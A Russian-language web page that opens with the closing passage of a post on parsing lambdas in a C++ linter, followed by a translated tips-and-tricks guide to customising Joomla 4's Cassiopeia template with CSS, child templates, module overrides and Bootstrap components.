`(a + 5) * 42`
Тут проблема парсинга: общая часть у нашей функции и выражения в скобках. На самом деле даже немного сложнее, так как общий префикс состоит как бы из двух токенов: скобки и переменной, — и только после третьего токена появится ответ на вопрос: «функция или не она».
Тут, на самом деле, есть пара направлений. Первый — как делают взрослые ребята — вернуться назад на два токена, если «не функция», и затем запустить парсер для выражения. У нас InputIterator, и вернуться назад, к сожалению, не можем. Была идея, как бы обмануть систему и добавить префикс к строке парсинга:
`"(a - 5) * 42" -> начальная строка`
`"- 5) * 42" -> строка после фейла`
`"(а" `concat` "- 5) * 42" -> теперь пробуем заматчить выражение`
Тут не смог найти что-то простое для объединения двух итераторов, хотя вроде как должно быть и не сложно, потому что last для InputIterator всегда один и тоже.
Второй варик слегка экзотический но тоже рабочий: у каждого линтера есть схема (auto x =… в примерах выше), что если эту схему запустить всего на один шаг, например:
`auto x = and_t{ number_t{}, operator_t{}, number_t{}};`
`auto x2 = make(x, '5'); // скармливаем '5'`
`x2 // -> and_t{ noop_t{}, operator_t{}, number_t{}};`
Теперь x2 валидная схема для '+7' строчки. Алгоритм получается слегка овер сложный, а мы ищем легких и простых путей, поэтому запомним и отложим в сторонку.
Варик в приоритете — собрать ручками валидные схемы для выражения без первой скобки и переменной. Схемы слегка не привычные на вид, но довольно простые.
Кодик для ламбды:
```
struct lambda_t{};
template
result\_t lint(const lambda\_t&, matcher*& m) {
// (x, ...) => {...}
// vs (x + 55) \* 6
auto r = lint(char\_t{context::Chars::LeftBracket}, m);
auto p = lint(identifier\_t{}, m);
auto q = lint(char\_t{context::Chars::Comma}, m);
// based on results of r, p and q we have 2\*\*3 = 8 options
// halve of them are not supported by our parser
// one follows directly to body of our lambda
// others to expression or partial\_expressions (e.g. without first bracket)
}*
```
Теперь мы можем запарсить `const bar = (a,b) => { foo(); bar(); }` и покорить мир, ну пожалуй это будет уже в следующий раз 🙂 | https://habr.com/ru/post/685434/ | null | ru | null |
# Joomla 4 – шаблон Cassiopeia – советы и хитрости
Это перевод [статьи](https://slides.woluweb.be/cassiopeia/cassiopeia.html) Марка Дешевра ([Marc Dechèvre](https://www.woluweb.be/)) с подборкой tips and tricks для шаблона Cassiopeia - шаблона фронтенда по умолчанию, поставляемого с Joomla 4.х. Он заменил собой давно устаревший Protostar.
Отличия от оригинала:
* Список источников (не на русском языке) отправлен в конец статьи.
* В статье мои комментарии как переводчика помещены в [*квадратные скобки и выделены курсивом - Т.С.*].
* Для наглядности (в частности раздел о доступности для слабовидящих и соответствии WCAG и ГОСТ) добавлены короткие видео.
##### Марк Дешевр (Marc Dechèvre)
Член [Совета директоров Франкоязычной ассоциации пользователей Joomla](https://www.joomla.fr/association/membres/marc-dechevre), [член группы](https://volunteers.joomla.org/joomlers/1794-marc-dechevre) **сертификации по маркетингу** и команды журнала **сообщества Joomla** (это официальные команды Joomla, работающие по всему миру), автор статей в [официальном журнале Joomla Magazine](https://magazine.joomla.org/all/itemlist/user/48403-marcdech%C3%A8vre), активный участник сообществ открытого исходного кода (не только Joomla, но и Wordpress и других).
Преамбула
---------
Как вы, возможно, знаете с появлением дочерних шаблонов в Joomla 4.1 [*небольшой инсайт - в Joomla 4.1 появляются "дочерние темы" - дочерние шаблоны - Т.С*.] путь к папкам css, изображений, js и scss шаблонов изменяется.
* с *templates/cassiopeia/* в Joomla! 4.0
* на *media/templates/site/cassiopeia/* в Joomla! 4.1+
для шаблона Cassiopeia, а так же по образу и подобию для всех шаблонов, совместимых с технологией дочерних шаблонов.
**Полезно знать:** если Вы создали, например, файл **templates/cassiopeia/css/user.css** в Joomla! 4.0, то после обновления до Joomla! 4.1 файл автоматически будет перенесён в **media/templates/site/cassiopeia/css/user.css**. Можно не бояться забыть перенести свои user.css, об этом позаботился известный греческий Joomla-разработчик Димитрис Грамматикогианнис (Dimitris Grammatikogiannis).
Причины использовать Cassiopeia Joomla 4
----------------------------------------
Весомых причин для использования стандартного шаблона немало:
* **Доступность** *[в разрезе слабовидящих и инвалидов по зрению, в соответствии с международными стандартами и ГОСТ - Т.С.]* - насколько мне известно типичные шаблоны или фреймворки не фокусируются на этом.
* **Быстрая загрузка.** При тестировании скорости загрузки с помощью Lighthouse/GTMetrix на боевом сайте я получил 97 баллов даже до внедрения базовой перфоманс-оптимизации в духе включения сжатия траффика. [*Проверял: Lighthouse дал 80 баллов для мобильного отображения и 96 для десктопа - Т.С.*]
* **Современный стек технологий.** Используется CSS Grid, CSS-переменные, ванильный javascript вместо фреймворков и т.д., а так же Bootstrap 5 и FontAwesome 5.
* **Регулярные обновления** с новыми возможностями - выход Joomla 4.1 намечен на 15 февраля 2022 года. 18 января 2022 года - статус Release Candidate *[что означает завершающий этап, "дошлифовку" релиза - Т.С.].* <https://github.com/joomla/joomla-cms/releases> В частности добавляются:
+ Дочерние шаблоны (дочерные темы в терминологии Wordpress)
+ Иконки для пунктов меню
Конечно, у Вас могут быть свои причины на то, чтобы использовать другие шаблоны или фреймворки. Но, Cassiopeia - отличный вариант для создания боевого сайта на Joomla 4, в то время как на Joomla 3 никто никогда всерьёз не рассматривал создание сайта на Protostar кроме как для тестов.
Первые впечатления от шаблона Cassiopeia
----------------------------------------
При беглом просмотре возможностей шаблона первая мысль: "О не-ет! Так мало настроек!" Но, как мы увидим далее, а также в упомянутых источниках, мы можем легко компенсировать это. В конце концов, даже хорошо иметь шаблон по умолчанию, который не раздут, потому что это означает
* лучшую скорость и производительность
* большую стабильность
* большую гибкость, поскольку мы можем использовать функционал ядра Joomla и настраивать его в соответствии с нашими потребностями.
Советы и рекомендации для шаблона Cassiopeia
--------------------------------------------
### Переопределение фавиконки
В Cassiopeia фавиконки по умолчанию вставляются следующим образом
```
```
Чтобы переопределить их, достаточно положить файлы новых фавиконок *[с тем же названием, но новым содержимым - Т.С.]* в следующих местах:
* /templates/cassiopeia/images/joomla-favicon.svg **для Joomla 4.0**
* /media/templates/site/cassiopeia/images/joomla-favicon.svg **начиная с Joomla 4.1**
### Шрифты
##### Добавление Google Fonts к шаблону
* Выбираем нужный шрифт на <https://fonts.google.com/>
* Подключаем его в user.css шаблона:
+ /media/templates/site/cassiopeia/css/user.css для Joomla 4.1+
+ /templates/cassiopeia/css/user.css для Joomla 4.0
```
/* Import font from Google - Go to fonts.google.com, select a font and look for the import command */
@import url('https://fonts.googleapis.com/css2?family=Georama:wght@100&display=swap');
/* Use the imported font on the page: On Google you can also find the CSS instruction for using the font. If you put this in the body element then the font will be used on the whole website. */
body {
font-family: 'Georama', sans-serif;
}
```
Источник: <https://coolcat-creations.com/en/blog/customize-your-cassiopeia-template>
#### Добавление Google fonts локально из шаблона
Из-за законодательств разных стран о персональных данных (GDPR в Евросоюзе) может быть запрещена удалённая загрузка веб-ресуросв потому, что это может позволить отследить пользователя. Поэтому их можно скачать и подключить в user.css.
В помощь: <https://google-webfonts-helper.herokuapp.com/fonts>
Источник: <https://blog.astrid-guenther.de/en/cassiopeia-optionen/> > Fonts Scheme
### Цвета
#### Изменение зачения цвета на всём сайте
Добавьте в user.css следующий CSS код.
```
:root {
--cassiopeia-color-primary: red;
--cassiopeia-color-hover: green;
--cassiopeia-color-link: blue;
}
```
#### Изменение цвета на конкретной странице
Выберите в панели администратора: менеджер меню - выберите нужный пункт меню - вкладка Параметры страницы - CSS-класс страницы, например **colors1** *[Указанный css-класс будет добавлен к выводу компонента на странице (текст статьи, категория для материалов Joomla, категория товаров или товар для магазинов и т.д.) - Т.С.]*
Простой пример:
```
.colors1 {
--website-color-1: #5e2688;
--cassiopeia-color-primary: var(--website-color-1);
}
```
Более продвинутый пример позволяет добавить прозрачность с помощью указания цвета в RGBA-формате, потому что начальное определение CSS-переменной было указано в формате RGB (пример: 37, 143, 167)
```
.colors1 {
--website-color-primary: 37, 143, 167;
--website-color-hover: 242, 48, 48;
--cassiopeia-color-primary: rgba(var(--website-color-primary),0.5);
--cassiopeia-color-hover: rgb(var(--website-color-hover));
--cassiopeia-color-link: rgb(var(--website-color-primary));
}
```
#### Тёмная тема для сайта Joomla
Есть бесплатный плагин тёмной темы для сайта от Николаса Дионисопулоса (Nicholas Dionysopoulos):
* в панели администратора (шаблон по умолчанию Atum)
* на фронте (шаблон по умолчанию Cassiopeia)
Обратите внимание, что [README.md](http://readme.md/) на [гитхабе плагина](https://github.com/nikosdion/DarkMagic) на момент написания статьи содержит информацию только о Joomla 3. Но плагин имеет 2 версии: одна для Joomla 3, другая для Joomla 4. Увидеть версии можно в разделе "релизы" в правой колонке. Версии 1.x для Joomla 3, версии 2.х - для Joomla 4.
Вполне возможно, что Вы захотите настроить цвета сайта ещё гибче. Шаблон Cassiopeia широко использует переменные CSS, которые определяются 1 раз, а затем используются в сотне мест в коде.
Вот пример CSS для фронтенда, с помощью которого можно дополнительно настроить цвета интерфейса в тёмном режиме (чтобы заголовок, кнопки, ссылки и т.д. соответствовали официальным цветам сайта).
```
:root {
--website-color-1: #D95F69;
--website-color-2: #F29544;
}
@media screen and (prefers-color-scheme: dark) { /* для переопределения цветов, указанных по умолчанию в плагине Dark Magic */
:root {
--cassiopeia-color-primary: var(--website-color-1) !important;
--cassiopeia-color-link: var(--website-color-1) !important;
--cassiopeia-color-hover: var(--website-color-2) !important;
--cassiopeia-color-gradient-end: var(--website-color-1) !important;
--cassiopeia-color-gradient-start: var(--website-color-2) !important;
}
.btn-primary {
background-color: var(--website-color-1) !important;
}
.btn-primary:focus, .btn-primary:hover {
background-color: var(--website-color-2) !important;
}
.back-to-top-link {
color: white !important;
}
#cf_1 { /* Convert Forms так же используют CSS переменные */
--background-color: rgba(0, 0, 0, 0.9) !important;
}
}
```
### Макеты
#### Позиции шаблона Cassiopeia
Наиболее полный список позиций шаблона. Статья о том, [как найти позиции модулей Joomla 4](https://coolcat-creations.com/en/blog/customize-your-cassiopeia-template)
#### Как разместить логотип в том же ряду, что и меню
В панели администратора: Система - Стили сайта - Cassiopeia - вкладка "Дополнительные параметры" - опция "Логотип". Можно выбрать изображение логотипа или же напечатать текст. По умолчанию логотип (изображение или текст) показываются на отдельном ряду перед (выше) меню. Ок, почему нет? Возможно, есть причина, по которой сделано именно так, но на 99,9% сайтов наблюдается явно другой поход.
Если Вы хотите, чтобы логотип был в одном ряду с меню, можно поступить следующим образом:
* Идём в Контент - Модули сайта
* Создаём новый модуль типа HTML-код
* Вставляем HTML-код изображения в модуль (можно добавить ссылку на главную страницу [](/)
* указываем позицию модуля "Меню"
* назначаем отображение модуля на всех страницах (если только у Вас не разные логотипы для разных страниц или языков сайта)
* сохраняем модуль.
#### Как сделать красивый футер сайта в Joomla 4
Также создаём модуль
* Идём в Контент - Модули сайта (или в Система - Управление - Модули сайта)
* Создаём новый модуль типа "Копирайты", указываем заголовок модуля
* Указываем позицию Footer,
* Назначаем модуль всем пунктам меню и сохраняем.
На фронте результат будет следующим: 2 строки расположены в подвале сайта, автоматически вставляется название сайта и текущий год. Вторая строка содержит информацию о том, что данный сайт создан на Joomla.
Модуль на самом деле отображает 2 языковые константы, которые можно переопределить.
* Константа MOD\_FOOTER\_LINE1 отображает строку "Copyright © %date% %sitename%. All Rights Reserved." [*для английского языка - Т.С.*]
* Константа MOD\_FOOTER\_LINE2 отображает строку `"[Joomla!](https://www.joomla.org) is Free Software released under the [GNU General Public License.](https://www.gnu.org/licenses/gpl-2.0.html)`"
Для изменения этих строк выполните следующие шаги:
* Идём в Система - Управление - Переопределение констант
* Выбираем язык сайта (фронтенда), для которого будет сделано переопределение [*для разных языков можно сделать разные - Т.С.*]
* Создаём новое переопределение, указываем константу и её новое значение
+ Для MOD\_FOOTER\_LINE1 можно указать "© %date% %sitename% | [Политика обработки персональных данных](/privacy)" [*"%date%" и "%sitename%" автоматически заменяются на текущий год и название сайта - Т.С.*]
+ Делаем то же самое для MOD\_FOOTER\_LINE2 [*СЕО-специалисты трепетно относятся к созданию ссылочного, каждая исходящая ссылка на вес золота, поэтому большинство из них порекомендуют убрать текст о том, что сайт сделан на Joomla и ссылку на joomla.org. Поэтому для MOD\_FOOTER\_LINE2 при переопределении языковой константы в качестве значение можно указать пробел. В этом случае не будет лишней исходящей ссылки. - Т.С.*]
* Если у Вас сайт на нескольких языках, то проделываем то же самое для каждого языка сайта.
Если нужно, чтобы оба текстовых значения были на одной строке (например, на больших экранах), можно добавить следующий CSS-код в свой user.css файл (`/media/templates/site/cassiopeia/css/user.css` в Joomla 4.1+ и`/templates/cassiopeia/css/user.css` в Joomla 4.0).
```
footer div.mod-footer {
display: flex;
flex: 1 1 0%;
flex-direction: column;
justify-content: space-between;
align-items: center;
}
@media (min-width: 768px) {
footer div.mod-footer {
flex-direction: row;
}
}
```
Данный подход не уникален. Так можно делать не только в Cassiopeia, но и в любом другом шаблоне.
#### Варианты оформления блога материалов в Joomla 4.
Помимо классических вариантов, доступных в Joomla для вида блога Cassiopeia предлагает дополнительные варианты оформления блога с помощью CSS-классов, которые можно указать в настройках пункта меню (тип пункта меню - Блог категории - вкладка "Блог" - CSS-класс материалов)
* boxed (отображает элемент статьи в блоге в рамке)
* image-right
* image-left
* image-bottom
* image-alternate (изменяет положение изображения на каждом втором элементе. Если изображение установлено слева, то каждый второй элемент будет отображать изображение справа. Если изображение установлено в нижней части, то каждый второй элемент будет отображать изображение вверху.)
[Дополнительная информация](https://issues.joomla.org/tracker/joomla-cms/18319) о стилизации шаблона.
Другая серия классов, доступная в Cassiopeia являет собой макет "кирпичной кладки" ("Masonry")
* columns-2
* columns-3
* columns-4
* masonry-2
* masonry-3
* masonry-4
Пример блога со статьями в 3 колонки - masonry-3 - можно [увидеть здесь](https://cassiopeia.joomla.com/sample-layouts/mansory-layout). Однако, следует помнить, что в настройках блога категории осталась опция "Количество столбцов", поэтому важно определиться с тем, каким способом Вы реализуете колонки. [*Опция "количество столбцов" добавляет класс masonry-\* - Т.С.*]
#### Изображения материалов (вступительного и основного текста) - Left, Center or Right
Joomla 4 изменила настройки обтекания текстом для изображений: больше нет выпадающего списка со значениями “справа”, “слева” или “нет”, но есть поле для вставки css-класса. Cassiopeia предлагает классы “float-start” для позиционирования полного изображения слева (справа для языков rtl), “float-end” для позиционирования полного изображения справа (слева для языков rtl) и “float-none” для отсутствия плавающего.
Также возможно создать свой собственный css-класс в user.css, описывающий положение изображения:
```
.float-center.item-image {
text-align: center;
}
```
Вы можете указать css-классы глобально для всех статей. Для этого перейдите в раздел Контент - Настройки - Форма и введите нужный класс в поле “CSS-класс изображения вводного текста” или "CSS-класс изображения полного текста". Также есть возможность указать css-класс изображения для каждой отдельной статьи.
[Источник](https://cassiopeia.joomla.com/help)
#### Стили модулей - card или noCard
* Идём в Модули - <ваш модуль> - Дополнительные параметры - Стиль модуля [*в самом низу - Т.С.*]
* Видно, что Cassiopeia предлагает 2 варианта стилей для модуля
+ card
+ noCard
Кроме них возможно использовать и стандартные стили модуля
* html5 [*будут учитываться настройки тега вывода модуля - article, aside, section и т.д. - для семантической вёрстки - Т.С.*]
* none [*будет выводиться только содержимое модуля, без заголовка - Т.С.*]
* outline [*будет выведена дополнительно информация о названии позиции и стиле модуля - для отладки шаблона и/или модуля - Т.С.*]
* table [*заголовок модуля и содержимое модуля будут обёрнуты в тег таблицы
- Т.С.*]
#### Изменение макета вывода шаблона или перемещение позиций
Если Вы посмотрите код шаблона Cassiopeia, Вы увидите следующий код:
```
@supports (display: grid) {
.site-grid {
grid-template-areas:
". banner banner banner banner ."
". top-a top-a top-a top-a ."
". top-b top-b top-b top-b ."
". comp comp comp comp ."
". side-r side-r side-r side-r ."
". side-l side-l side-l side-l ."
". bot-a bot-a bot-a bot-a ."
". bot-b bot-b bot-b bot-b .";
}
@media (min-width: 992px) {
.site-grid {
grid-template-areas:
". banner banner banner banner ."
". top-a top-a top-a top-a ."
". top-b top-b top-b top-b ."
". side-l comp comp side-r ."
". bot-a bot-a bot-a bot-a ."
". bot-b bot-b bot-b bot-b ."
}
}
}
```
Это CSS Grid. Он очень и очень наглядный, как Вы видите. Если вы мало или ничего не знаете о CSS Grid, определенно стоит изучить основы, например, на <https://css-tricks.com/snippets/css/complete-guide-grid/#prop-grid-template-areas>
Если Вы захотите изменить макет вывода, например, на десктопах
* позицию banner поместить сразу после вывода компонента
* Позиции bot-a и bot-b в одном ряду 50/50 по ширине.
Для решения этой задачи Вы можете добавить в свой user.css следующий код
```
@supports (display: grid) {
@media (min-width: 992px) {
.site-grid {
grid-template-areas:
". top-a top-a top-a top-a ."
". top-b top-b top-b top-b ."
". side-l comp comp side-r ."
". bot-a bot-a bot-b bot-b ."
". banner banner banner banner ."
}
}
}
```
Другими словами, преимущество шаблона, основанного на CSS Grid, заключается в том, что вы можете изменить макет всего с помощью нескольких строк CSS, без необходимости редактировать / переопределять / разветвлять какой-либо файл PHP.
#### Изменение ширины области компонента, левой и правой колонок
**Вариант 1 - включен полноэкранный ("резиновый") режим (контейнеры прилипают к краям экрана).**
Определить ширину столбцов можно следующим CSS-кодом
```
body.wrapper-fluid .site-grid {
grid-template-columns: [full-start] minmax(0,1fr) [main-start] repeat(4,minmax(0,25%)) [main-end] 100px [full-end]
}
```
Обратите внимание на **repeat(4,minmax(0,25%)).** Этот синтаксис эквивалентен **minmax(0,25%) minmax(0,25%) minmax(0,25%) minmax(0,25%)**:
* Первый "minmax(0,25%)" относится к ширине позиции Left
* Последний "minmax(0,25%)" относится к ширине позиции Right
* Два "minmax(0,25%)" в середине относится к ширине области вывода компонента (в этой области выводится текст статьи или товар интернет-магазина).
Так, если Вы хотите уменьшить ширину позиций Left и Right с 25% до 20%, Вы можете добавить в свой user.css следующий код:
```
body.wrapper-fluid .site-grid {
grid-template-columns: [full-start] minmax(0,1fr) [main-start] minmax(0,20%) minmax(0,30%) minmax(0,30%) minmax(0,20%) [main-end] 100px [full-end]
}
```
**Вариант 2 - Cassiopeia в статическом режиме - фиксированная ширина**
В этом случае для больших экранов (не забудьте, Cassiopeia спроектирована по принципу mobile first) ширину столбцов определяет следующая строка CSS:
```
@supports (display: grid) {
@media (min-width: 992px) {
.site-grid {
grid-template-columns: [full-start] minmax(0,1fr) [main-start] repeat(4,minmax(0,19.875rem)) [main-end] minmax(0,1fr) [full-end]
}
}
}
```
Обратите внимание на середину строки: синтаксис **repeat(4,minmax(0,19.875rem))** эквивалентен **minmax(0,19.875rem) minmax(0,19.875rem) minmax(0,19.875rem) minmax(0,19.875rem)**. Rem - это относительная единица измерения в CSS. Данная запись будет означать:
* Первый`minmax(0,19.875rem)` относится к ширине позиции Left
* Последний`minmax(0,19.875rem)` относится к позиции Right
* Оба`minmax(0,19.875rem)` в середине указывают 50% ширины для области вывода компонента
Так, например, если Вы хотите уменьшить размеры слева и справа с 19,875rem до 9,875rem (но при этом сохранить ту же общую ширину), можно просто добавить следующий CSS в свой user.css
```
@supports (display: grid) {
@media (min-width: 992px) {
.site-grid {
grid-template-columns: [full-start] minmax(0,1fr) [main-start] minmax(0,9.875rem) minmax(0,29.875rem) minmax(0,29.875rem) minmax(0,9.875rem) [main-end] minmax(0,1fr) [full-end]
}
}
}
```
Также очень легко изменить общую ширину, играя с произвдением 4 \* 19,875rem.
### Баннер
#### Добавление картинки-баннера в Cassiopeia
Подробно [описано здесь](https://coolcat-creations.com/en/blog/customize-your-cassiopeia-template), в разделе "Addiing a site header".
#### Как задать собственную высоту для модуля баннера
Адаптируйте этот css-код под свои нужды и вставьте его в свой user.css
```
/* CLASSIC BANNER */
.container-banner .banner-overlay {
height: max(300px, 50vh); /* по умолчанию 50vh в Cassiopeia */
}
@media (min-width: 768px) {
.container-banner .banner-overlay {
height: max(300px, 45vh);
}
}
@media (min-width: 992px) {
.container-banner .banner-overlay {
height: max(300px, 40vh);
}
}
@media (min-width: 1200px) {
.container-banner .banner-overlay {
height: max(300px, 35vh);
}
}
```
#### Как добавить наложение для модуля баннера
Ещё один сниппет CSS-кода, который адаптируется под свои нужды в user.css
```
/* CLASSIC BANNER */
.container-banner .banner-overlay .overlay {
background-image: linear-gradient(120deg, rgba(231, 48, 42, 0.7), rgba(234, 174, 2, 0.7));
}
```
#### Как добавить видео в модуль баннера
Cassiopeia предусматривает модуль баннера с фоновым изображением, которое занимает около 50% высоты окна просмотра. Для сайта же я хочу поместить видео вместо картинки на фон так, чтобы видео занимало всю высоту окна браузера.
Для решения этой задачи нужно:
* Создать модуль типа HTML-код без изменения каких-либо опций
* Вставить HTML из примера ниже (измените названия файлов poster-изображения и видео на свои)
* Ввставить CSS в свой user.css
```
Title
=====
Text
[Link](#)
```
```
/* VIDEO BANNER - see https://codepen.io/woluweb/pen/rNGROZj */
div.video-banner {
display: grid;
grid-template-areas: "hero";
place-items: center;
height: max(300px, calc(100vh - 152px)); /* viewport height minus the fixed height of menu header on current website, with a minimum of X pixels */
box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.5);
}
div.video-banner > * {
grid-area: hero; /* stacking all the child elements of the grid - could simply have set 1 / 1 / 2 / 2 instead of naming the area hero */
}
div.video-banner div.text {
z-index: 1; /* to be sure that this is on top of the video */
text-align: center;
color: white;
text-shadow: 2px 2px 5px black;
}
div.video-banner div.overlay {
width: 100%;
height: 100%;
background-image: linear-gradient(120deg, var(--cassiopeia-color-link), var(--cassiopeia-color-hover));
opacity: 0.7;
}
div.video-banner video {
width: 100%;
height: 100%;
object-fit: cover;
overflow: hidden;
}
```
### Добавление пользовательского javascript-кода
[*Таким образом можно добавлять коды веб-аналитики (Яндекс.Метрика, Google Analytics, коды рекламных систем и т.д.) - Т.С.*]
#### Вариант 1 - напрямую в user.js
Аналогично, как Вы создавали user.css в /media/templates/site/cassiopeia/css/user.css для Joomla 4.1 или /templates/cassiopeia/css/user.css в Joomla 4.0 Вы можете создать пользовательский js-файл для своего кода: **/media/templates/site/cassiopeia/js/user.js для Joomla 4.1+** (бывший /templates/cassiopeia/js/user.js в joomla 4.0).
Для проверки можно вызвать выскакивающее уведомление из этого файла
```
alert( 'Hello, world!' );
```
#### Вариант 2 - используя дочерние шаблоны
Для этого необходимо иметь версию Joomla не ниже 4.1. Дата релиза Joomla 4.1 - 15 февраля 2022 года.
* Идем в Система - Шаблоны сайта - редактировать Cassiopeia
* Создаём дочерний шаблон (кнопка в верхнем тулбаре) и закрываем текущий шаблон.
* Дочерний шаблон создан.
* Список шаблонов пополнится дочерним шаблоном.
В нём Вы можете менять что угодно и как угодно, не опасаясь, что с обновлением Joomla Ваши изменения перезапишутся. Не забудьте назначить созданный дочерний шаблон шаблоном по умолчанию [*звёздочка в списке шаблонов - Т.С.*].
#### Вариант 3 - добавление собственных настроек в шаблон с помощью дочернего шаблона
В template.xml дочернего шаблона можно добавить свои поля настроек (textarea, radio и т.д.). Соответственно, в index.php дочернего шаблона Вы легко можете получить данные этих параметров и выводить их там, где Вам нужно. Например, добавление js-скриптов в сайта
```
php $this-params->get('myJS'); ?>
```
#### Вариант 4 - использование собственного макета вывода модуля
В любой версии Joomla и в любом шаблоне Joomla Вы можете легко добавить свой css или js-код. Идея заключается в создании своего макета вывода модуля, который будет вставлять нужный CSS или JS [*или выполнять нужный php-код - Т.С.*] благодаря имеющемуся в Joomla механизму переопределения макетов. Благодаря гибким настройкам привязки модулей к пунктам меню Вы точно знаете где именно выполняется Ваш код: на каких страница, для каких языков сайта, в какой временной период (дата начала и конца публикации модулей) и т.д.[*Также помним, что модули можно вставлять внутрь других модулей, в тексты статей, в описания товаров и т.д. - Т.С.*]
Как сделать:
* Создаём переопределение макета вывода модуля HTML-код (можно и любой другой тип модуля)
+ Идём в Система - Шаблоны сайта - Ваш шаблон
+ Выбираем вкладку "Создание переопределений"
+ Выбираем mod\_custom (или выбранный Вами модуль)
+ Видим подтверждающее сообщение о том, что переопределение создано.
* Редактируем файл переопределения
+ Вкладка "Редактор"
+ Выбираем файл **/templates/cassiopeia > html > mod\_custom > default.php**
+ Переименовываем файл в понятный Вам
+ Вместо echo $module->content добавляете нужный Вам CSS или JS код [*или же нужный PHP-код - Т.С.*]
+ [Как добавлять CSS и JS код ПРАВИЛЬНО в Joomla 3](https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page) - методы addStyleSheet, addStyleDeclaration, addScript, addScriptDeclaration [[*Также статья на русском языке*](https://jpath.ru/docs/output/html-helpers/podklyuchenie-i-razmeshchenie-fajlov-css-javascript-i-izobrazhenij-v-joomla) *- Т.С.*]
+ Как добавлять CSS и JS код ПРАВИЛЬНО в Joomla 4 -
- [Официальная документация Joomla 4 по Web Assets Manager](https://docs.joomla.org/J4.x:Web_Assets)
- [Управление заголовками ответа сервера на Joomla 4](https://docs.joomla.org/J4.x:Http_Header_Management)
- [Статья в блоге JoomlaShack](https://www.joomlashack.com/blog/tutorials/web-assets-in-joomla-4/)
- [[*Как правильно подключать JavaScript и CSS в Joomla 4*](https://jpath.ru/docs/output/js-css/kak-pravilno-podklyuchat-javascript-i-css-v-joomla-4) *- статья на русском языке - Т.С.*]
* Создаём новый модуль типа HTML-код в Контент - Модули сайта
* Вкладка "Дополнительные параметры" - макет вывода - выбираем созданный нами.
* Сохраняем модуль в нужной нам позиции шаблона.
Пример добавления анимации для класса .images, тегов h2 и h3 в CSS и JS с помощью переопределения макета модуля (Joomla 3)
```
php
use Joomla\CMS\Factory;
defined('_JEXEC') or die;
$doc = Factory::getDocument();
// adding some css file - for pure css animation
// either via a local file (to be added manually)
// $doc-addStyleSheet("/templates/cassiopeia/css/animate.css", array('version'=>'auto'));
// either via a distant file - see https://cdnjs.com/libraries/animate.css
$doc->addStyleSheet("https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css", [], ["integrity" => "sha512-c42qTSw/wPZ3/5LBzD+Bw5f7bSF2oxou6wEb+I/lqeaKV5FDIfMvvRp772y4jcJLKuGUOpbJMdg/BTl50fJYAw==", "crossorigin" => "anonymous" , "referrerpolicy" => "no-referrer" ]);
// adding some script for animation using intersection-observer
// either via a local file (to be added manually)
// $doc->addScript('/templates/cassiopeia/js/animate.js', array('version'=>'auto'));
// either via an inline script
$myAnimation = << 0.5) {
observable.target.classList.add('mytest')
// observable.target.classList.remove('not-visible')
observer.unobserve(observable.target)
}
})
}, {
threshold: [0.5]
});
// we observe the elements
let items = document.querySelectorAll('.image, h2, h3')
items.forEach(function (item) {
observer.observe(item)
})
});
MYJS;
// add the script
$doc->addScriptDeclaration($myAnimation);
```
Вместе с соответствующими изменениями в Вашем user.css, где описана сама анимация
```
h2.mytest, h3.mytest, p.mytest {
animation: fadeIn; /* referring directly to the animation's @keyframe declaration */
animation-duration: 2s; /* don't forget to set a duration! */
}
```
[*Ещё один вариант создания собственных макетов - это прямо в папке с модулем. Можно пройти по FTP в папку modules/mod\_custom/tmpl, скопировать и переименовать файл default.php и сделать в нём всё, что Вам необходимо. - Т.С.*]
#### Вариант 5 - для Bootstrap 5
Joomla 4 поставляется вместе с Bootstrap 5, но для достижения лучшей производительности javascript Bootstrap 5 отключён по умолчанию. Вы можете сами в своих дочерних шаблонах / переопределениях / альтернативных макетах включить только то, что Вам нужно и где Вам это нужно.
Представим, что Вам нужно вставить табы Bootstrap в статью. Скопируйте этот HTML (пример взят из [документации Bootstrap 5](https://getbootstrap.com/docs/5.1/components/navs-tabs/))
```
Home
Profile
Contact
**Home text**
**Profile text**
**Contact text**
```
Каков результат на фронте? Табы отображаются, но при клике на 2-й и 3-й таб ничего не происходит. Для этого нам нужно подключить Bootstrap 5 javascript:
```
\Joomla\CMS\HTML\HTMLHelper::_('bootstrap.tab', '.selector', []);
```
[*'.selector' - селектор для табов - Т.С.*] Вы можете легко добавить нужные js-компоненты Bootstrap 5 следуя [официальной документации Joomla 4](https://docs.joomla.org/J4.x:Using_Bootstrap_Components_in_Joomla_4)
Если Вы используете подход, описанный в документации (ссылка выше) "Approach 3: Using a Template Override", то не забудьте добавить модулю класс **bs-tab** и Bootstrap табы заработают.
### Меню
#### Добавление иконки к пункту меню - в Joomla 4.1
* Найдите нужную иконку на [https://fontawesome.com/](https://fontawesome.com/v5.15/icons), и скопируйте css-класс иконки, fas fa-envelope.
* Выберите нужный пункт меню
* Перейдите во вкладку "Тип ссылки" укажите выбранный css-класс в поле "CSS-класс иконки". [*Обратите внимание, что при наличии CSS-класса иконка имеет приоритет над изображением ссылки. - Т.С.*]
Таким образом можно использовать любые иконочные шрифты, не только FontAwesome. [Дополнительная информация на GitHub](https://github.com/joomla/joomla-cms/pull/34658).
##### Добавление иконки к пункту меню - в Joomla 4.0
Добавить иконку можно схожим образом.
* Добавьте CSS-класс ссылке пункта меню
* Добавьте в свой user.css стиль для этого CSS-класса
```
ul.mod-menu a.my-icon-home::before {
font-family: "Font Awesome 5 Free";
font-weight: 900;
content: "";
margin-right: 4px;
display: inline-block;
width: 1.25em !important;
}
```
Плюс этого подхода в том, что Вы можете использовать только нужные Вам иконки на сайте и не грузить со страницей весь шрифт с несколькими сотнями неиспользуемых иконок.
#### Как сделать меню-гамбургер в Cassiopeia
Посмотрите раздел “Change the Menu Layout” <https://coolcat-creations.com/en/blog/customize-your-cassiopeia-template>
Как разместить меню-гамбургер в Cassiopeia ДО логотипа на маленьких экранах, даже если на больших оно ПОСЛЕ
Обычно на сайте Вы располоагаете в позиции Menu модули в следующем порядке:
1. Логотип (модуль HTML-код)
2. Меню
3. Переключатель языков и/или Модуль поиска
Но на мобильных устройствах подобный порядок раздражает, так как меню-гамбургер оказывается посередине. Изменить порядок можно с помощью кода в user.css:
```
@media (max-width: 992px) {
nav.navbar {order: -1;}
}
```
### Доступность
